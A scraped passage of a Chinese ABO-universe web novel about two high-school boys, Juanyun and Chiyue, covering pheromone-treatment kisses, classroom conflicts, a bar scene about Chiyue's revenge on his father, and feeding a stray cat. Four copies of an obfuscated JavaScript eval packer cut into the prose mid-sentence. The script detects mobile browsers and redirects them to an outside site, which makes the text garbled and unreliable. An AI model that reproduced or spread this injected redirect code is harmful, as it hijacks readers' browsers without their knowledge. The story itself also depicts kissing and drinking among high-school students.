教室大约二十四人,两年来座位几乎都没怎么变,他坐在教室的中间位置,坐他斜后方的文强嚼着水果糖,正在吹泡泡。 越过文强,再斜对面,那靠后门位置的地方,往年都是空着的座位,此刻却放了一个灰黑色的书包。 隽云脑袋发蒙,觉得自己好像在做梦。 班里很吵,大约有“好帅啊”、“不过怎么是社会招考生”这些相似的讨论的句子传入耳朵。 就在这时,一个人穿过沉浮的七彩光晕,闯入了他的视线。 白色的校服衬衫下摆白净,随走路姿势半空中衣角微扬,深蓝色的长裤细洗得发白,身板挺正,懒散地走入了他的视线。 能看到他坐下来,因为身高太高,一只脚踏在外面,另一只脚踩在桌底的横杆上,膝盖顶到桌底。 那人侧坐着,修长的指尖随意地搭在光洁的桌面上。 迷茫还带着睡意的眼眸微睁,隽云觉得自己大概是出现了幻觉。 前一天还亲过的人...... 怎么会在教室里看到他? 还是一睁眼就看到了。 隽云缓慢地眨眼,没法在第一时间移开视线。 那人侧脸线条流畅,下颌锋利,鼻尖挺立唇角微勾,他半翘着椅子,额前的碎发随着他的动作扬动,是极其青春阳光的模样。 前面有个女生和他搭话,不知道说了什么,随后,他似乎是觉得好笑,扫了一眼隽云的位置。 恰好,与他对上了视线。 隽云一下清醒了。 呆了两秒,他移开视线,转过头去。 4. 第四章 “叮叮叮~” 清脆的下课铃响起,伴随着钟声,大课间休息时间,老师收拾书本出了教室,其他人或继续看书或是三三两两聚在一起聊天。 体育馆离他们高三栋教学楼并不远,于是文强在班里吆喝:“有没有去打羽毛球篮球的?” “喂,柳元誉,去不去?” 坐在文强前面的男生正两个胳膊交叠在身前,见他喊他,很傲又矜持地点了点头:“那走吧。” 文强和隽云从小就认识,他们关系不错,叫上班长他们凑齐了几个人后,他照例来问一嘴隽云: “小云云~要不要一起去打球?” 不少人围在他的桌子周围,但是很可惜,隽云说:“不太行。” “啊?为什么啊。” 隽云:“有事。” “嗨。”文强习惯了他大忙人,于是转而熟练地搭上隽云后面人的肩膀:“那你呢?陆思华,跟哥们打球不?” 陆思华把他搭在自己肩头的手拨下去,他在看一本厚厚的法语书,头也不抬地说: “不了,哥们爱学习。” 文强探过头去看他看的书,发现看不懂,于是用力一拍他的肩膀,笑骂了声:“诶嘿,还真给你装到了!” 陆思华微微一笑。 等文强和几人几人浩浩荡荡地出了门,隽云在座位上坐了一会儿后,他起身。 隽云穿着熨帖的深蓝色西装校服,左胸口挂着刻有名字的金属铭牌,上面写着隽云。 铭牌下面是校徽,金色的两条链条从校徽链接到领口处,随着走路发出一点碰撞的金属声响。 坐他身后的陆思华看见他起身,绕过两排走道,站到了匙越面前。 教室的其他没有出去活动的几人看着他们互动,纷纷张大了嘴巴,互相对视一眼,都明白对方眼里的意思: ——不是吧不是吧?隽云这是要发力了? ——这架势,是要找匙越单挑了? 隽云曲起两个指节,敲了敲桌子,声音悦耳好听 ,如一泓清澈的水,只是没什么感情,仿佛是发现匙越犯事一样例行公事地通知他出来一趟: “出来吧。” 彼时匙越指尖正夹着一只黑色的笔,懒散地翻着书,闻言,他神情没什么变化: “你确定要现在?” “嗯。” 隽云的眼睛很好看,垂下来的时候显得眼线很长,薄薄的眼皮底下是深色的眼眸,说出来的话却很凉薄: “就现在,快点。” 留在教室的学生们纷纷“嘶”了一声。 这架势不妙啊...... 大课间是学生自由活动时间,主要是进行一些社团、学生会活动,因而不少人都在看手机。 “团结友好,互抱大腿”群里正在聊些七七八八没营养的水话,突然有人往群里发了一张照片。 像素模糊,一看就是从哪个犄角旮旯角落里偷拍的,然而此照片一出,却如同深水里投了颗炸弹,群里的人猛地沸腾起来: [这不是隽云和匙越吗?] [陆哥也在?] [你们不觉得这个场面有些美好吗?隽云和这个社会招考生好帅......好养眼......] [加一,已流水噢不是,已流口水......] [呵呵,你们这些omega只看得到帅,看不到他们之间气氛十分紧绷吗!这哪里是平常的聊天,分明是宣战啊!] [宣战??楼上说的有道理。] [在现场!隽云叫匙越滚出来!!!] [这句话,好耳熟?] [遥想当年隽爷把人整退学的时候,第一句话也是把人从教室叫出来。] [何曾相似的历史。] [什么?历史又要重演了吗?] [惹到隽爷头上,匙越算是凉了!] ...... 学校里的广播正播放着早间新闻,四处传来的声音传到天台的时候只剩嗡嗡声了听不真切。 也可能是因为心跳声太大了。 隽云被匙越按在天台的墙上,背后靠着有些发凉的白墙。 匙越单手撑在墙上,和他距离很近,不过一个拳头的距离。 温热的气息拂面,来自alpha身上的信息素若有若无地飘近,隽云紧闭着眼,睫毛颤抖,耳朵出现不自然的红,催促他:“你能不能快点。” 同样的话,这次话尾音却有些颤。 “嗯。” 很快,亲吻的水渍声在天台响起。 匙越单手撑在墙上,他低着头,与隽云亲密地鼻尖抵着鼻尖,感受到前几分钟还嘴硬的人此刻的嘴唇有多软。 隽云睫毛紧闭,匙越和他贴了一会儿后,他似乎是嫌匙越动作慢,光贴着唇能获取的信息素太少了,于是抬手拽住匙越的衣领,贴着唇,犹犹豫豫地伸出舌尖,舔了舔他的唇。 这一举动让匙越忍不住嘴角上扬,匙越稍稍离开一会儿,对他说:“张嘴。” “哦......” 隽云慢吞吞地张嘴,他的神情有些僵硬,耳朵更红了,他张开嘴,下一秒,滚烫湿滑的东西就抵进来,触碰到了他的舌尖...... “唔......” 隽云睫毛一颤,他有点迟钝地想。 这好像不对。 他最初只是想要一点信息素治疗他体内的药物残留而已。 一定要用这种方式吗? 下一秒,高浓度信息素扑面而来,强势的信息素入侵带来的晕眩让隽云呼吸急促浑身发热,很快,信息素匹配度太高,隽云的理智被撕扯,彻底淹没在了浓浓的信息素海洋里。 舌头被匙越勾着,被他带动着,于是隽云终于又尝到了他信息素的味道。 那是带点一甜的红酒味,香草和焦糖被温过的感觉,温和醇厚的白兰地葡萄酒。 差不多了...... 匙越垂着眼睛看他,勾着他的舌尖吮了一下,散发着苦涩橄榄气味的omega小幅度受惊似地抖了一下,然后如梦初醒。 隽云睁开眼,迷蒙着水汽的眼睛看起来还不是很清醒,但是拽住他衣服的手松了,下意识将他往外推保持距离。 从亲到吃下唾液,整个过程不超过一分钟。 是在礼貌帮助同学的友好交流范围之内。 他们不算越界。 隽云偏过头平缓了一下呼吸,唇上还泛着淡淡的水光,他抿了一下唇,神情有些不自然。 平复好心情之后,隽云擦了擦唇,又从兜里拿出来一个清新剂喷雾小样,张开嘴对着里面按喷了几下。 “噗呲噗呲。” 随着喷头按动的声音响起,匙越看着他一系列动作,表情很淡:“你以前是不喷的。” “那是以前,”隽云拿出另一瓶阻隔剂喷雾小样递给他,很僵硬地说:“你也得喷,以后都要。” “为什么?”匙越说。 “我们是一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472998|185571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班的,你想让其他人闻到我身上有你的味吗!?”隽云小声又强硬地说,他的耳尖很红。 跟染上什么狗味一样...... 喷了信息素阻隔剂后,隽云闻不到他身上带着的另一个人信息素味道了,这才放松下来。 毁尸灭迹结束,一切都很顺利。 在走之前,隽云扫了眼匙越被他抓皱衣服。 alpha穿着夏季校服,大约还是觉得热,白色的扣子前两颗直接没扣,大刺啦啦地敞着,露出清晰平直的锁骨。 领带因为接吻被扯松了,领结被扯细,红底橙白细双纹领的领带晃荡在胸前,整个人稍显凌乱。 “......”隽云微微蹙眉。 匙越的衣服,不仅领带是旧的,就连校服也因为洗太多次而变得很薄,仔细看还起球了。 “你这个校服穿了几百年了?”隽云皱眉问。 “没有几百年,可能有十几年?” “......” 隽云低头再一看他的裤子,是旧版的校服裤,星耀前年就重新调整了校服版型,从束脚裤改成了直筒型的裤子,版面看着不知道好看了多少。 但是匙越还是穿的前年的版型,这个束脚裤实在是有些难看了。 隽云对别人的穿着从不指手画脚,但也忍不住问:“哪里弄来的校服?” “网上买的二手。” 星耀中学的校服质量很好,穿成这样肯定不是才穿三年的上一届学长的旧衣服,说不定真有十几年了。 匙越很坦荡,脸皮很厚地说:“可能也不是二手了,四五手?” 买个校服都需要买好几手的...... 隽云再一次刷新了对社会招考生在星耀中学读书很不容易的认知。 星耀的校服是定制的,量身打造,出于是给学生们做定制,因此价格已经相对优惠过了,一套也不过五千打底,春夏秋冬四套总共才两万。 这都买不起? ...... ...... 早晨的阴霾早已散去,天台的光线很好,甚至有金色的光辉照在他们身上。 “诺,”匙越想起什么来,手从口袋里抽出来,打开手心,一颗奶糖在手心里躺着:“给你,早上买多了。” “......”隽云抬手,拿起他手心里的糖,指尖触碰又分开。 他拆开糖纸,将糖咬进嘴里,抿了一下,巧克力奶糖味逐渐在嘴里融化开来。 ......怎么是巧克力味道的? 有点苦,隽云微微皱脸。 “怎么了?不喜欢吗?” “还行。”隽云说,虽然他不喜欢苦味。 “以后就是同学了,”隽云补了一句:“你以后在教室里别和我说话。” “嗯,”匙越淡淡嗯一声:“我没和你说过话。” “......”噎了一下。 话传到了,隽云不欲再多说什么,他含着糖,腮帮子微微鼓起,他径直转过身走了。 匙越插着兜仰头看天,隽云走到门口,拉开门的时候他停顿了一下,突然想起来还有一个事: “哦,对了,把你的束脚裤丢了吧。” 匙越一愣,转头看他,隽云又丢下一句话,语气生硬:“改天给你送四套衣服。” “别穿旧版。” 隽云拉开漆了蓝色油漆的大门走了。 匙越看着没有合上的门,低头沉沉笑了一声:“有意思。” 5. 第五章 灯光昏暗,台上不少穿着火辣的omega、alpha在跳劲舞,木质吧台上一名调酒师戴着皮质手套,翻转抛掷着手中的调酒杯。 角落里有个人背对着他仰靠在沙发上,看不清脸,指间夹着烟,烟头的红色星火忽明忽灭,痞气十足,调酒师忍不住一边调新酒一边偷瞄他。 可惜那人穿着灰色的薄外套,外套帽子拉起来了盖在头上,看不到脸,只露出线条清晰的下颌。 他双腿交叠,指间夹着烟,吸了一口,而后夹着烟的指尖朝外点了点,旁边有个人点头哈腰立马递上烟灰缸。 燃红的烟头被全数摁进玻璃烟灰缸里,喉结滚动,他懒散地吐出口烟,袅袅烟雾飘散。 匙越一脸倦懒地问对面的人:“事情办的怎么样了?” 坐他对面的男人皮肤黝黑,他双手交叠,手肘撑着膝盖,魁梧结实的肌肉在黑色的T恤下块垒分明,脸上有一个从额头贯穿到下巴的刀疤,看着十分骇人。 “钱已经打过去了。” “嗯。”匙越淡淡嗯了一声,指尖动动,手往外挥了挥,旁边的beta便很有眼力见地将烟灰缸放到桌子上,走到酒吧外面的玻璃门口蹲着了。 等小弟走后,刀疤脸男人开口:“闵荣来找你了吗?” “找了。” 匙越双臂展开搭着沙发背,宽肩窄腰的倒三角形身材尽显,提到闵荣,他的指尖随性地在沙发上点了几下,显得有些意兴阑珊。 刀疤脸男人看到他的外套拉链只拉到一半,随着他的动作露出里面的夏季校服来,白色的衬衫干净崭新,金棕色的校徽和刻了名字的铭牌在外套遮掩下若隐若现。 和之前的旧衣服不一样,质感明显上升了好几个层次。 “你的校服怎么换了?” 那是匙越特地吩咐他置办的校服,要越旧越好,他带着手下的人找了好几天才找到那样的衣服。 而现在这身衣服料子显然比之前贵了好几倍,也不符合他之前破旧的要求。 “该不会是闵荣给你买的衣服吧?”刀疤男不确定地问。 “不是。”匙越偏开头,懒散地笑了一下:“他怎么可能会给我买衣服?” 明叔:“那开学典礼之后,他联系你了吗?” “联系了。”匙越神色淡淡,回忆了一下闵荣和他说的话:“说没想到我能来星耀读书,还当上学生代表上台演讲了,把隽家的人都挤下去了,真不愧是他的儿子。” “那他有问你其他的吗?” “没有,”匙越:“让我在学校继续保持,好好表现,他有空会再联系我。” “他没有怀疑你什么吧?”明叔说。 “没有。” “那就好。” 明叔又说:“闵荣这个人戒备心强,以后在他眼皮子底下得小心行事了。” 匙越神色自如,唇角勾着弧度,他拿起桌面上还剩一点的啤酒,仰头喝完,棕色透明的酒液顺着下巴滚落,喝完后,啤酒罐握在手心,匙越漫不经心地看着,随即一捏。 “闵荣?” 手背青筋凸起,随着嘎吱嘎吱响的声音,瓶罐逐渐被捏变扁,彻底变形,被扔在桌面上。 匙越眼底一片冷色:“迟早有一天......他会走进我精心为他布置的陷阱里。” 就像他特意穿着旧衣服站在台上,让所有人都看得到他的拮据、贫穷......让闵荣放下警惕,又为看到他站在台上发言而感到意外与一丝自豪。 撒在外面不管的穷儿子居然这么有出息? 认回来也不是不行。 “以前的一切我都会悉数奉还给他。” 酒吧灯光扫过来又离开,匙越的侧脸棱角分明,气势凌人。 还略显青涩的脸已经初具成熟男人的俊美,抬眼看人时带来的压迫感即便是年长他几十岁的明叔也忍不住被他眼中的狠意惊了一下。 匙越放轻了声音,神情阴狠:“所以,他想看什么,我们就演给他看好了。” 明叔:“放宽心,你现在进了星耀,还和他的omega小儿子在一个班,身为老子总是坐不住的,毕竟omega怎么掌权?认回你也是迟早的事情。” 匙越不置可否,嗤笑了一声。 酒吧里四处频闪的光线耀眼,他扫了眼自己的裤子。 他今天穿着的是昨天放学的时候隽云拿给他的新校服,当然,是亲过之后才给的。 拿给他的时候,隽云气都还没喘匀。 西装裤布料是优质的羊毛混棉纺布料,回弹性很好,不论怎么揉皱,裤面上的褶皱很快就会消失,最终恢复平整顺滑的质地。 匙越指尖划过校服裤:“明叔,我穿束脚裤很难看吗?” 没头没脑的一句话让明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472999|185571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叔“啊?”了一声,随即说:“不难看啊!” 怎么突然问起这个? 匙越平常不是一个对打扮很上心的人。 匙越没接话,酒吧里嘈杂的dj声换了一首,激烈的音乐声混杂着五光十射的灯光在酒吧里扫荡,有omega在舞台上热舞把上衣脱了,引起无数人的尖叫。 匙越扫了一眼,开始脱裤子了,他毫无兴趣地移开了视线:“明叔,这次找你来,还想让你帮我办个事。” “你说。” “帮我查一下隽云他家。” * 早上七点半,上课铃声响起。 在走廊上的人陆陆续续进了教室,老师走进来,把书本放到桌面上,开了小蜜蜂的音量有些大:“大家把书翻开......” 上了一会儿课,马上需要小组讨论,由班长武佟点名后带队去讨论室。 “闵术。” “到。” 隽云低头看了一眼手机,手机上又是两个未接来电,是叶馨言的,消息栏还有一个叶馨言发来的消息: [你今天怎么又没有等我?] “范哲佳......” “到!” 一连念了二十几个人的名字,有来有回一直都有人答到,直到念到最后一个人的名字时,全教室静默,没有人答应。 “匙越?” 班长武佟又念了一遍名字,然而依旧没有等到回应,他抬头看去教室最后一排靠后门的位置——但是那个位置是空的。 “到。” 一声很沉又带着喘促的声音在门口响起。 听到前门有声音,刚给未婚妻发完消息的隽云抬头看去。 匙越的头发稍微有些凌乱,似乎跑得有点急,他弯下腰撑着膝盖,下巴上有汗珠滴落,显得少年气很重。 再看衣服,裤腿上粘了点泥巴印子,不知道是不是刚去挖土卖钱回来。 匙越抬头看向室内,没想到视线恰巧和坐教室正中间的隽云对上了。 一秒钟,电光火石之间,两个人同时别开眼。 “......” “......” 隽云的视线落在地上的光斑上,研究了两秒光是怎么透过窗外的绿树照进来的。 匙越看向在讲台上的班长和老师,站的笔直,眉眼干净:“抱歉,我来晚了。” 6. 第六章 班主任是个中年女老师,从高一就开始带这个班,大家都叫她老棠。 老棠皱了一下眉,但见他来了,也还是不多说什么了,他们这个年级的学生多半是家里有事,比学业重要多了。 “回你的位置坐吧,赶快准备一下,等会儿要上讨论课了。” “好的。” 等会儿分完组后要去其他教室上讨论课,因而教室里的学生都没了安静的心思。 看着匙越穿过教室坐回自己的座位,有个男生转头和旁边的人说: “喂,不是说他已经被隽云赶出星耀了吗?怎么还来上课啊?” “不知道啊,而且他的校服好像换了,我记得他那时候上台穿的衣服比这个旧多了。” “他不是考进来的吗?社会招考生,哪来的钱买新衣服?” “我靠?这么拽?上课还迟到。”文强打量着匙越,嘶一声,竖着书躲在书后面鬼鬼祟祟地敲键盘,问陆思华: “我怎么感觉他这气质不太像社会招考生呢?” 陆思华收到消息,他面无表情地看向文强。 他俩座位就隔个过道,有什么必要用手机发消息? 文强神经兮兮地转头看了一眼匙越,在手机上敲好消息后发出去:“前两天的事我听说了,他俩真没打起来?” 陆思华摇头,开口:“我也不是很清楚。” “啊?”文强挠头:“但是不是听说隽云把匙越叫出去单挑了吗?” 陆思华眼神有些异样,他没说话。 说是叫出去单挑,但是回来的时候,他看到隽云的嘴唇比去时要红一点。 文强又想起来一件事,问陆思华:“晚上是不是你家有个宴会?我爸和我说收到请柬了。” “对。”陆思华按下奇怪的思绪,说:“今晚在我家,我哥订婚宴,欢迎你来。” “啊?” “你哥才比我们大两岁吧,就订婚了。”文强唏嘘,他努了努嘴示意隽言方向:“不过,隽言也订婚了,唉......是不是马上也要轮到我俩了。” 那边文强还在伤感着,陆思华听着没有说话。 全班一共二十五个人,五个人一组,一共分成五组。 随着班长一个个念名字,很快,分组结果出来了。 “啊?”文强痛苦哀嚎一声:“隽云,我没和你分到一组,到时候叫我回答问题咋办?” 班里吵哄哄的,隽云侧过脸,毫不留情地说:“自生自灭。” “什么!”文强深受打击,很夸张地倒在桌子上演绎什么是心碎:“小云云你不救我,我们组还有谁能救我,都是一群愚昧无知的人类啊!” “谁愚昧无知?”一个清亮的女声反问。 坐他右边斜对面的一个女生扎着低马尾,脸侧留了几缕发须,脸上妆容精致,她对着镜子拨了几下头发,放下镜子,转过身来: “你说谁呢?” 李恩惠,A国知名服装企业家的女儿,家里的服装属于高奢品牌,高档的服装、包包一款难求,听说甚至校服都是请的她家里的设计师设计的。 她还和隽云的未婚妻——叶馨言是好姐妹,不过一个分在了一班,一个在二班。 差点忘了这个大小姐和他是一组的,文强刚才还激动的情绪顿时弱下来,他讪笑道: “......不是我有意见,但是大小姐,你和我上课都在睡觉啊!” “切,”李恩惠撇了撇嘴:“睡觉又怎么了?上课听讲的人了不起啊?” 李恩惠绕教室看了一圈,指头一翘,不在意地指向教室最末尾坐着的一个人: “他成绩不是很好吗?到时候让他给我们抄不就好了?” 文强和他们小组成员面面相觑。 其实,也不是没有道理。 毕竟在其他班,欺负社会招考生是很常见的事情,只不过他们班一直没有社会招考生,所以相处的还算和谐。 “喂。”李恩惠走到匙越面前,漂亮的手指曲起在他的桌上敲了敲,双手环胸,高傲道: “你是今年的社会招考生吧?” 此话一出,在匙越周围的人都安静下来了,他们心照不宣地露出幸灾乐祸的表情。 开始开始了, 要开始欺负社会招考生了。 匙越正拿着一张纸巾仔细擦拭手指上黏腻的汗,他神色认真,头都没抬: “说。” 这个充满上位者语气的“说”字,让在场所有人一愣,也让李恩惠瞬间丢了气势,她像是他的小弟来找他报告事情一样。 “......”李恩惠哽住。 他知不知道他在说什么? 李恩惠倒吸一口气,强撑住:“你一个社会招考生有什么拽的?你不就是靠你那点文化分考进来的,你知道我家是做什么的吗!?” “不知道也不想知道。”匙越眼皮一掀:“另外,你挡到我的光了。” “......”李恩惠被他懒散的语气气得脸色通红:“你......” 恰好这时老师终于注意到教室一隅的骚乱,她拍桌子吼道:“吵什么吵?聚在一起干什么?我说下课了吗?” 李恩惠这才悻悻作罢:“你给我等着。” “哦。”匙越很随便地应付,没有放在心上。 这些从小娇生惯养的富家子弟,不值得他费什么心思去对付。 讨论课很快结束,匙越表现亮眼,最终带领小组摘得本堂课的最高分小组。 一堂课接近尾声,老棠满脸笑意地对教室里的人说:“匙越同学的实力有目共睹,希望同学们私下多向匙越同学学习,多向匙越同学取经......” “另外,个别同学不要想着浑水摸鱼......”老棠意味深长地说。 他们小组的分高,但是论个人分,李恩惠和文强的分是全班最低的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16473000|185571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一堂课下来,匙越从头到尾没看过她们一眼,更别说给她们抄了,于是李恩惠的脸都气青了。 隽云第二,他把笔盖子一合,抬头看了一下教室前头挂着的时钟,快下课了。 “叮铃铃铃铃~”下课铃下一秒响起。 文强趴在桌上没了力气:“诶哟真难死我了。” 门口站着一些人,有人在教室门口叫匙越的名字,于是匙越起身,拎着本挂着黑字笔的课本,朝门口走去,所有人目送他出教室门后被包围起来了。 隽云认出那些都是学生会的人,大概是来找匙越沟通活动方案的。 他还没起身,兜里的手机就震了震。 星耀不太管学生玩手机,只要不在上课时间拿出来玩就行。 他拿出手机,按了一下,屏幕亮起,锁屏是一个黄白色背朝着他的大胖猫,这个锁屏他用了很多年了。 锁屏上,他看到之前加的一个竞赛群群主艾特了所有人,他平常不太看群聊,这次被艾特后点进去看了一眼。 有一个人发了很多图片在群里: 【图片.JPG 】 【图片.JPG 】 【图片.JPG 】 ...... 总共有十来张,隽云面无表情,点开,然后放大图片。 蓝白色的小猫小小一个蜷缩在花坛里,身上还有黄色干了的泥点子,趴在一堆枯掉的叶子上,几乎要融入一体,蓝白色的毛色乍一看还以为是叶子发霉了。 啧,真丑。 沉寂已久的群里也活跃起来: [@全体成员 ] [?这什么?] [我草,小茂咪。] [喵喵喵~] [这猫怎么躺在地上?] [看着好脏。] [觉得脏+1] [+2,不如我家养的阿什拉猫可爱。] [楼上不经意间炫耀一把。] [现在那只小猫在哪啊?] [它有吃的吗?] [好像没有。] ...... 看完了聊天,隽云未发表任何言论,不是很感兴趣地把手机关掉后揣进兜里,背上书包出了门,等会儿还有课。 旁边几个人招呼隽云一起回教室,隽云冷淡地点了点头。 门口乌泱泱还站着一群人围着匙越,堵到他们的路了,于是旁边几人自发将门口的人拨开,文强搭上隽云的肩膀,喊着“让一让,让一让”。 隽云被簇拥在中间,和匙越擦肩而过。 离得近,隽云能感觉到匙越的目光落在他的侧脸上,然后他的小拇指被人碰了一下。 那是一种很奇怪的勾法,从侧面蹭过去,绕个弧,指尖滑过他的指腹勾了一下就松开了。 隽云转过来,脸绷紧了:“?” 匙越一脸歉意,态度诚恳:“抱歉,不小心碰到了。” 7. 第七章 上午最后一节课打铃后,走廊陆陆续续人多了起来。 今天提早了几分钟下课,隽云把东西收拾好后,背着包出去了,没到放学时间点,路上的人不是很多。 路过学校食堂时,他进去拿了个东西。 出来后,没有走通往校门的大路,而是转弯,走了一条小路,那条路通往学校的休闲散步小广场。 隽云在学校里走了一会儿,走到了今天上午在群聊里看到的那个定位。 他半俯下身子,顺着细弱的猫叫声,拨开草丛寻找。 树枝纷纷扰扰,所幸没找多久他就找到了,隽云伸手拨开一丛灌木丛的树枝,往下一看就看到一只蓝白色的小猫躺在那里。 此刻它有些受惊了,往后缩在树底下,爪子抓着地面,一双圆溜溜的眼睛很警惕地瞪着他。 隽云脸色白净,一双薄薄的单眼皮垂下来,显得没什么情绪,和它大眼瞪小眼。 冷白的侧脸线条优越,因为面无表情看上去满是漠然,没什么惊喜和高兴的神色,打量着它身上细小的伤口,也没有什么想要救它的意思。 他看着小猫身上的黄泥巴和一绺绺打结在一起的毛发,很认同地说: “你确实很脏。” 匙越双手插兜,过来的时候看到的就是这样一副景象。 隽云蹲在那里,左手拿着一碗干净的水,另一只手徒手拎着一只小猫后脖颈把它从灌木丛里拽出来。 小猫很瘦小,瘦弱的仿佛只有一层薄薄的皮着内脏,身上的毛发很脏,黑色的灰尘小虫子、黄色的泥巴还有叶子都黏在它身上。 等他走到近处的时候,隽云已经把它拎出来了。 地上放了一个学校食堂的小碗,碗侧还印着学校食堂的logo,里面是半碗清水。 小猫舔的急,而隽云蹲在地面上,一只手半抬着,握着一瓶水,在它旁边小心地给它补水。 匙越眸色乌黑,目光落在隽云身上。 白黑色的双肩书包有些大,老老实实地背在身后遮挡了omega的大半脊背,白皙脆弱的脖颈不设防地露出,似乎一只手就能将他包裹、捏住。 已经是秋季,深蓝色的校服外套穿着但是没有拉拉链,就这么垂在地上,勾勒出来的omega的肩颈线条瘦削,中心的脊背线微微刺凸,显得整个人十分清瘦。 隽云额前的碎发垂落,手腕白皙从袖子里伸出一截,指尖捏着水瓶,神情专注地看着小猫喝水。 隽云没有转头,他的声音很好听,如果不是这么突然说话就更好了: “你还要在我后面看多久?” 被发现了。 匙越敛了眼眸,再抬眼,没有丝毫刚才打量探究的神情,反而带着点热情爽朗的笑意,他走过去: “好巧。” “我刚来。”匙越没话找话:“没想到你还挺有爱心的。” 隽云冷冷道:“只是刚好路过。” 匙越恍然大悟:“噢~” “......”隽云:“学生会的事情处理完了?” 这才开学一两天,学生会人员重组,有很多东西匙越都要亲自去熟悉流程,社团、活动方案、晚会、查出勤、风纪考勤、广播等等都是学生会的事情,可以说在学校拥有相当大的权利了,相应的,学生会主席也会非常的繁忙。 作为前任学生会主席,他是深有体会过的。 “不是很麻烦的事情,”匙越无所谓的神色:“安排底下的人去做就好了,我忙完了就来了。” 还能安排下去做,看来作为社会招考生,也不是那么老实被欺负到得自己干。 隽云看了他一眼,然后另一只手朝他摊开:“东西呢?” “什么?” 隽云:“猫粮。” 他和匙越挨得很近,隽云朝他摊着手心,眼底有一丝疑惑,见匙越没动,他脸色有点难看: “你没带猫粮那你来这里干什么?” 这里这么偏僻,大中午不去食堂吃饭不出校门回家,来这里遛弯? “路过。”匙越看着他笑了一下:“和你一样。” 何曾相似的回答。 树叶梭梭作响,不远处的白色石椅上一只小松鼠跳过去。 隽云:“......”无言以对。 匙越低声笑了笑,从善如流地从兜里拿出来两根条状包装的猫粮,递给隽云: “不逗你了,其实我带了。” 隽云:“......” 猫舔水的速度已经下降很多了,可以喂它点东西吃了。 于是隽云把包装撕开,蹲下身,试探性地朝猫伸手,摸了一下它的背,结果小猫一惊,往侧边躲开了。 啧,防备心太重。 不过好在隽云还是有点经验的,他很善于运用以前的经验,于是很熟稔地晃了晃猫条,鼻尖耸了一下,声音细弱带着点黏糯的嗓音: “......喵?” 小猫脸上露出惊恐的表情,眼睛瞪大了,爪子四仰八叉地往后退了几步。 经验复刻失败。 隽云听到了一声轻笑,偏头看过去只看到匙越侧背着他,肩膀耸动。 “......” 隽云的表情很严肃,他冷冷地捏了捏包装袋,一瞬间想杀人灭口。 这个人真的很烦! 捏着猫条的手指修长,隽云拇指往下压了一点糊状的东西出来,他想到了另一个办法。 隽云试探性地朝它伸猫条,挥了挥。 果然,等了一会儿,猫闻到香味,迈着摇摇晃晃的步伐,也试探着过来了。 世纪大和解。 小猫的鼻尖碰了碰猫条袋子,喵呜了几声,犹犹豫豫、充满警惕地小口吃起来。 看着小猫吃东西,隽云也放松下来,匙越含着笑意问他: “你以前养过猫吗?” 小猫越吃越欢快,隽云又挤了点猫条出来,看着它吃,难得神色有些柔和,后鼻音从鼻腔中挤出来,“嗯”了一声,以作回应。 喂了一阵。 “叮咚~”这时,隽云的手机铃声不巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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匙越的长相是很凌厉的,但是眉眼间总是萦绕着一股似有似无的笑意,这便弱化了他浓利眉梢带来和身高带来的压迫感。 特别是像现在这样,瞳孔中倒映出他的模样,笑着和他说话,明明很危险,却让隽云生出一种他很好相处的感觉。 “......”隽云垂眼:“我要走了,你就把猫条挤在碗里就可以了,它自己会来吃的。” 他刚转身,手腕就被人拉住了:“等一下。” 匙越第一次拉他的手腕,隽云的腕骨突出,手腕纤细,还有点咯,他不由自主地捏了一下。 太瘦了。匙越脑海里冒出这个想法。 “还有个事你是不是忘了?” 隽云来不及问他有什么事,就被人拽得整个人转了个身。 匙越知道他赶时间,担心他走了就来不及做这个事了,于是没有给他什么反应的时间。 隽云眼前的阴影落下,下一瞬,他的双唇陷入了一片柔软地带,隽云瞳孔一震。 8. 第八章 隽云惊愕得眼睛微微睁大,他没想到匙越会突然亲他。 感受到隽云瞬间的僵硬,于是匙越只是浅浅勾了一下他的舌尖,在他嘴巴里留下信息素后就很礼貌地松开了他。 “实在是抱歉,因为今天还没有完成医生的任务,怕你走了,所以才这么着急,希望你理解。” 匙越的眼睛眸色颜色很深,漆黑漂亮,此刻凝视着他,眼里盛满了愧疚。 他是这样为隽云的病考虑,如此体贴。 道歉也很有诚意。 只是隽云的口腔鼻子里都里充满了那股霸道强势的白兰地葡萄酒味。 